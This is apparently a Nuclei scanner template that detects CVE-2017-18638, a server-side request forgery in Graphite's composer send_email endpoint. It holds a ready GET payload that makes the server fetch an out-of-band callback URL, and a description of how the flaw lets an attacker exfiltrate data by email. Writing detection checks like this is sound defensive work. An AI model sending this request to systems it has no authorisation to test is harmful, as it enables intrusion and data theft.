id: CVE-2017-18638

info:
  name: Graphite 'graphite.composer.views.send_email' SSRF
  author: huowuzhao
  severity: high
  description: Graphite's send_email in graphite-web/webapp/graphite/composer/views.py in versions up to 1.1.5 is vulnerable to SSRF. The vulnerable SSRF endpoint can be used by an attacker to have the Graphite web server request any resource. The response to this SSRF request is encoded into an image file and then sent to an email address that can be supplied by the attacker. Thus, an attacker can exfiltrate any information.
  reference:
    - http://blog.orange.tw/2017/07/how-i-chained-4-vulnerabilities-on.html
    - https://github.com/graphite-project/graphite-web/issues/2008
    - https://github.com/advisories/GHSA-vfj6-275q-4pvm
    - https://nvd.nist.gov/vuln/detail/CVE-2017-18638
  tags: cve,cve2017,graphite,ssrf,oast
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.50
    cve-id: CVE-2017-18638
    cwe-id: CWE-918

requests:
  - method: GET
    path:
      - '{{BaseURL}}/composer/send_email?to={{rand_text_alpha(4)}}@{{rand_text_alpha(4)}}&url=http://{{interactsh-url}}'

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"